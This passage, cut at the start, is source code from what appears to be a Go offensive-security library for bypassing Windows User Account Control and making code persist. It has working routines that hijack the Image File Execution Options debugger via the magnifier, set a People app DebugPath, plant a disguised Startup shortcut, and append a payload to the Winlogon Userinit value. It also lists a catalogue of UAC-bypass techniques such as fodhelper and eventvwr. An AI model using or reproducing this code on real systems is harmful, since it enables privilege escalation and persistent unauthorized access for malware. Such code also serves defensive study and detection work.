registry.ALL_ACCESS) 34 | if err != nil && !exists { 35 | return err 36 | } 37 | defer k.Close() 38 | if err = k.SetStringValue("Debugger", path); err != nil { 39 | return err 40 | } 41 | 42 | k1, exists, err := registry.CreateKey(registry.LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility", registry.ALL_ACCESS) 43 | if err != nil && !exists { 44 | return err 45 | } 46 | defer k1.Close() 47 | err = k1.SetStringValue("Configuration", "magnifierpane") 48 | return nil 49 | } 50 | 51 | func (e ExecutorMagnifier) Revert() error { 52 | kpath, err := e.findKey() 53 | if err != nil { 54 | return err 55 | } 56 | if err := registry.DeleteKey(registry.LOCAL_MACHINE, kpath); err != nil { 57 | return err 58 | } 59 | k, err := registry.OpenKey(registry.LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility", registry.ALL_ACCESS) 60 | if err != nil { 61 | return err 62 | } 63 | defer k.Close() 64 | err = k.DeleteValue("Configuration") 65 | return err 66 | } 67 | -------------------------------------------------------------------------------- /pkg/persist/people.go: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019-2022 0x9ef. All rights reserved. 2 | // Use of this source code is governed by an MIT license 3 | // that can be found in the LICENSE file. 4 | package persist 5 | 6 | import ( 7 | "errors" 8 | "io" 9 | "path/filepath" 10 | "strings" 11 | 12 | "golang.org/x/sys/windows/registry" 13 | ) 14 | 15 | type ExecutorPeople struct{} 16 | 17 | func (e ExecutorPeople) findKey() (string, error) { 18 | nk, err := registry.OpenKey(registry.CURRENT_USER, "Software\\Classes\\ActivatableClasses\\Package", registry.READ) 19 | if err != nil { 20 | return "", err 21 | } 22 | defer nk.Close() 23 | subkeys, err := nk.ReadSubKeyNames(2) 24 | if err != nil && err != io.EOF { 25 | return "", err 26 | } 27 | n := 0 28 | for i := range subkeys { 29 | if strings.Contains(subkeys[i], "Microsoft.People_") { 30 | n = i 31 | } 32 | } 33 | if n < 0 { 34 | return "", errors.New("cannot find key which contains Microsoft.People_") 35 | } 36 | key := filepath.Join("Software\\Classes\\ActivatableClasses\\Package", 37 | subkeys[n], "DebugInformation\\x4c7a3b7dy2188y46d4ya362y19ac5a5805e5x.AppX368sbpk1kx658x0p332evjk2v0y02kxp.mca") 38 | return key, nil 39 | } 40 | 41 | func (e ExecutorPeople) Exec(path string) error { 42 | kpath, err := e.findKey() 43 | if err != nil { 44 | return err 45 | } 46 | k, exists, err := registry.CreateKey(registry.CURRENT_USER, kpath, registry.ALL_ACCESS) 47 | if err != nil && !exists { 48 | return err 49 | } 50 | defer k.Close() 51 | err = k.SetStringValue("DebugPath", path) 52 | return err 53 | } 54 | 55 | func (e ExecutorPeople) Revert() error { 56 | kpath, err := e.findKey() 57 | if err != nil { 58 | return err 59 | } 60 | err = registry.DeleteKey(registry.CURRENT_USER, kpath) 61 | return err 62 | } 63 | -------------------------------------------------------------------------------- /pkg/persist/startup.go: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019-2022 0x9ef. All rights reserved. 2 | // Use of this source code is governed by an MIT license 3 | // that can be found in the LICENSE file. 4 | package persist 5 | 6 | import ( 7 | "os" 8 | "path/filepath" 9 | ) 10 | 11 | type ExecutorStartup struct{} 12 | 13 | func (e ExecutorStartup) findPath() (string, error) { 14 | startupDir := filepath.Join(os.Getenv("APPDATA"), "Microsoft\\Windows\\Start Menu\\Programs\\Startup") 15 | if _, err := os.Stat(startupDir); os.IsNotExist(err) { 16 | return "", err 17 | } 18 | path := filepath.Join(startupDir, "GUACBypasserVPN.eu.url") 19 | return path, nil 20 | } 21 | 22 | func (e ExecutorStartup) Exec(path string) error { 23 | fpath, err := e.findPath() 24 | if err != nil { 25 | return err 26 | } 27 | f, err := os.Create(fpath) 28 | if err != nil { 29 | return err 30 | } 31 | n, err := f.Write([]byte("\n[InternetShortcut]\nURL=file:///" + path)) 32 | if err != nil && n == 0 { 33 | return err 34 | } 35 | f.Close() 36 | return nil 37 | } 38 | 39 | func (e ExecutorStartup) Revert() error { 40 | startupDir, err := e.findPath() 41 | if err != nil { 42 | return err 43 | } 44 | fpath := filepath.Join(startupDir, "") 45 | err = os.Remove(fpath) 46 | return err 47 | } 48 | -------------------------------------------------------------------------------- /pkg/persist/userinit.go: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019-2022 0x9ef. All rights reserved. 2 | // Use of this source code is governed by an MIT license 3 | // that can be found in the LICENSE file. 4 | package persist 5 | 6 | import ( 7 | "errors" 8 | "path/filepath" 9 | "syscall" 10 | 11 | "golang.org/x/sys/windows/registry" 12 | ) 13 | 14 | type ExecutorUserinit struct{} 15 | 16 | func (e ExecutorUserinit) findPath() (string, error) { 17 | path, exists := syscall.Getenv("SYSTEMROOT") 18 | if !exists { 19 | return "", errors.New("cannot lookup SYSTEMROOT") 20 | } 21 | return path, nil 22 | } 23 | 24 | func (e ExecutorUserinit) Exec(path string) error { 25 | sysdir, err := e.findPath() 26 | if err != nil { 27 | return err 28 | } 29 | kpath := filepath.Join(sysdir, "system32", "userinit.exe,"+path) 30 | k, err := registry.OpenKey(registry.LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", registry.ALL_ACCESS) 31 | if err != nil { 32 | return err 33 | } 34 | defer k.Close() 35 | err = k.SetStringValue("Userinit", kpath) 36 | return nil 37 | } 38 | 39 | func (e ExecutorUserinit) Revert() error { 40 | k, err := registry.OpenKey(registry.LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", registry.ALL_ACCESS) 41 | if err != nil { 42 | return err 43 | } 44 | defer k.Close() 45 | err = k.DeleteValue("Userinit") 46 | return err 47 | } 48 | -------------------------------------------------------------------------------- /pkg/types.go: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019-2022 0x9ef. All rights reserved. 2 | // Use of this source code is governed by an MIT license 3 | // that can be found in the LICENSE file. 4 | package uacbypass 5 | 6 | type Info struct { 7 | Id uint8 8 | Type string 9 | Name string 10 | Description string 11 | Subinfo struct { 12 | Fixed bool 13 | FixedIn string 14 | OnlyAdmin bool 15 | OnlyPayload bool 16 | } 17 | } 18 | 19 | var InfoOnceCmstp = Info{ 20 | Id: 1, 21 | Type: "once", 22 | Name: "cmstp", 23 | Description: "Using cmstp.exe and .ini file manipulations", 24 | // Fixed: false 25 | // FixedIn: 26 | // Admin: false 27 | // Payload: true 28 | } 29 | 30 | var InfoOnceComputerdefaults = Info{ 31 | Id: 2, 32 | Type: "once", 33 | Name: "computerdefaults", 34 | Description: "Using computerdefaults.exe and registry keys manipulations", 35 | // Fixed: false 36 | // FixedIn: 37 | // Admin: false 38 | // Payload: true 39 | } 40 | 41 | var InfoOnceEventvwr = Info{ 42 | Id: 3, 43 | Type: "once", 44 | Name: "eventvwr", 45 | Description: "Using eventvwr.exe and registry keys manipulations", 46 | // Fixed: false 47 | // FixedIn: 15031 48 | // Admin: false 49 | // Payload: true 50 | } 51 | 52 | var InfoOnceFodhelper = Info{ 53 | Id: 4, 54 | Type: "once", 55 | Name: "fodhelper", 56 | Description: "Using fodhelper.exe and registry keys manipulations", 57 | // Fixed: false 58 | // FixedIn: 59 | // Admin: false 60 | // Payload: true 61 | } 62 | 63 | var InfoOnceSdcltcontrol = Info{ 64 | Id: 5, 65 | Type: "once", 66 | Name: "sdcltcontrol", 67 | Description: "Using sdclt.exe folder and registry keys manipulations", 68 | // Fixed: true 69 | // FixedIn: 70 | // Admin: false 71 | // Payload: true 72 | } 73 | 74 | var InfoOnceSilentcleanup = Info{ 75 | Id: 6, 76 | Type: "once", 77 | Name: "silentcleanup", 78 | Description: "Using silentcleanup.exe and registry keys manipulations", 79 | // Fixed: false 80 | // FixedIn: 81 | // Admin: false 82 | // Payload: true 83 | } 84 | 85 | var InfoOnceSlui = Info{ 86 | Id: 7, 87 | Name: "slui", 88 | Type: "once", 89 | Description: "Using slui.exe and registry keys manipulations", 90 | // Fixed: true 91 | // FixedIn: 92 | // Admin: false 93 | // Payload: true 94 | } 95 | 96 | var InfoOnceWsreset = Info{ 97 | Id: 8, 98 | Type: "once", 99 | Name: "wsreset", 100 | Description: "Using wsreset.exe and registry keys manipulations", 101 | // Fixed: true 102 | // FixedIn: 103 | // Admin: false 104 | // Payload: true 105 | } 106 | 107 | var InfoPersistCortana = Info{ 108 | Id: 9, 109 | Type: "persist", 110 | Name: "cortana", 111 | Description: "Using registry key class manipulation", 112 | // Fixed: true 113 | // FixedIn: 114 | // Admin: false 115 | // Payload: true 116 | } 117 | 118 | var InfoPersistHkcu = Info{ 119 | Id: 10, 120 | Type: "persist", 121 | Name: "hkcu", 122 | Description: "Using registry key (HKEY_CURRENT_USER) manipulation", 123 | // Fixed: true 124 | // FixedIn: 125 | // Admin: false 126 | // Payload: true 127 | } 128 | 129 | var InfoPersistHklm = Info{ 130 | Id: 11, 131 | Type: "persist", 132 | Name: "hklm", 133 | Description: "Using registry key (HKEY_LOCAL_MACHINE) manipulation", 134 | // Fixed: true 135 | // FixedIn: 136 | // Admin: false 137 | // Payload: true 138 | } 139 | 140 | var InfoPersistMagnifier = Info{ 141 | Id: 12, 142 | Type: "persist", 143 | Name: "magnifier", 144 | Description: "Using magnifier.exe, Image File Execution Options debugger and accessibility application", 145 | // Fixed: true 146 | // FixedIn: 147 | // Admin: false 148 | // Payload: true 149 | } 150 | 151 | var InfoPersistPeople = Info{ 152 | Id: 13, 153 | Type: "persist", 154 | Name: "people", 155 | Description: "Using registry key class manipulation", 156 | // Fixed: true 157 | // FixedIn: 158 | // Admin: false 159 | // Payload: true 160 | } 161 | 162 | var InfoPersistStartup = Info{ 163 | Id: 14, 164 | Type: "persist", 165 | Name: "startup", 166 | Description: "Using malicious lnk file in startup directory", 167 | // Fixed: true 168 | // FixedIn: 169 | // Admin: false 170 | // Payload: true 171 | } 172 | 173 | var InfoPersistUserinit = Info{ 174 | Id: 15, 175 | Type: "persist", 176 | Name: "userinit", 177 | Description: "Using userinit registry key manipulations", 178 | // Fixed: true 179 | // FixedIn: 180 | // Admin: false 181 | // Payload: true 182 | } 183 | -------------------------------------------------------------------------------- /pkg/utils.go: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019-2022 0x9ef. All rights reserved. 2 | // Use of this source code is governed by an MIT license 3 | // that can be found in the LICENSE file. 4 | package uacbypass 5 | 6 | import ( 7 | "strconv" 8 | 9 | "golang.org/x/sys/windows/registry" 10 | ) 11 | 12 | func GetBuildNumber() int { 13 | k, err := registry.OpenKey(registry.LOCAL_MACHINE, 14 | "Software\\Microsoft\\Windows NT\\CurrentVersion", registry.QUERY_VALUE) 15 | if err != nil { 16 | return 0 17 | } 18 | defer k.Close() 19 | bn, _, err := k.GetStringValue("CurrentBuildNumber") 20 | n, err := strconv.Atoi(bn) 21 | if err != nil { 22 | return 0 23 | } 24 | return n 25 | } 26 | 27 | func GetUACLevel() int { 28 | k, err := registry.OpenKey(registry.LOCAL_MACHINE, 29 | "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", registry.QUERY_VALUE) 30 | if err != nil { 31 | return 0 32 | } 33 | defer k.Close() 34 | cpba, _, err := k.GetIntegerValue("ConsentPromptBehaviorAdmin") 35 | if err != nil { 36 | return 0 37 | } 38 | cpbu, _, err := k.GetIntegerValue("ConsentPromptBehaviorUser") 39 | if err != nil { 40 | return 0 41 | } 42 | posd, _, err := k.GetIntegerValue("PromptOnSecureDesktop") 43 | if err != nil { 44 | return 0 45 | } 46 | 47 | const higherLevel = 4 48 | const mediumLevel = 3 49 | const lowLevel = 2 50 | const noLevel = 1 51 | var level int 52 | switch { 53 | case cpba == 0x02 && cpbu == 0x3 && posd == 0x1: 54 | level = higherLevel 55 | case cpba == 0x05 && cpbu == 0x3 && posd == 0x1: 56 | level = mediumLevel 57 | case cpba == 0x05 && cpbu == 0x3 && posd == 0x1: 58 | level = lowLevel 59 | default: 60 | level = noLevel 61 | } 62 | return level 63 | } 64 | -------------------------------------------------------------------------------- /pkg/winapi.go: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019-2022 0x9ef. All rights reserved. 2 | // Use of this source code is governed by an MIT license 3 | // that can be found in the LICENSE file. 4 | package uacbypass 5 | 6 | import ( 7 | "errors" 8 | "syscall" 9 | "unsafe" 10 | 11 | "golang.org/x/sys/windows" 12 | ) 13 | 14 | var ( 15 | shell32 = syscall.NewLazyDLL("shell32.dll") 16 | kernel32 = syscall.NewLazyDLL("kernel32.dll") 17 | user32 = syscall.NewLazyDLL("user32.dll") 18 | procKeyBdEvent = user32.NewProc("keybd_event") 19 | procWow64DisableFsRedirection = kernel32.NewProc("Wow64DisableWow64FsRedirection") 20 | procWow64RevertFsRedirection = kernel32.NewProc("Wow64RevertWow64FsRedirection") 21 | procShellExecute = shell32.NewProc("ShellExecuteW") 22 | ) 23 | 24 | func WithFsr(f func()) error { 25 | if f == nil { 26 | return errors.New("nullable function provided") 27 | } 28 | var oldWow64Fsr uintptr 29 | if ret, _, _ := procWow64DisableFsRedirection.Call(uintptr(unsafe.Pointer(&oldWow64Fsr))); ret != 0 { 30 | return errors.New("cannot execute Wow64DisableWow64FsRedirection") 31 | } 32 | f() // execute 33 | if ret, _, _ := procWow64RevertFsRedirection.Call(uintptr(oldWow64Fsr)); ret != 0 { 34 | return errors.New("cannot execute Wow64RevertWow64FsRedirection") 35 | } 36 | return nil 37 | } 38 | 39 | func ShellExecute(lpFile, lpOperation, lpParameters string, lpFlags int32) error { 40 | var f16 *uint16 41 | var o16 *uint16 42 | var p16 *uint16 43 | if len(lpFile) > 0 { 44 | f16, _ = windows.UTF16PtrFromString(lpFile) 45 | } 46 | if len(lpOperation) > 0 { 47 | o16, _ = windows.UTF16PtrFromString(lpOperation) 48 | } 49 | if len(lpParameters) > 0 { 50 | p16, _ = windows.UTF16PtrFromString(lpParameters) 51 | } 52 | err := windows.ShellExecute(0, o16, f16, p16, nil, lpFlags) 53 | return err 54 | } 55 | 56 | func KeybdEvent(v0, v1, v2, v3 int32) error { 57 | ret, _, _ := procKeyBdEvent.Call(uintptr(v0), uintptr(v1), uintptr(v2), uintptr(v3)) 58 | if ret != 0 { 59 | return errors.New("cannot press keyboard events with keybd_event") 60 | } 61 | return nil 62 | } 63 | --------------------------------------------------------------------------------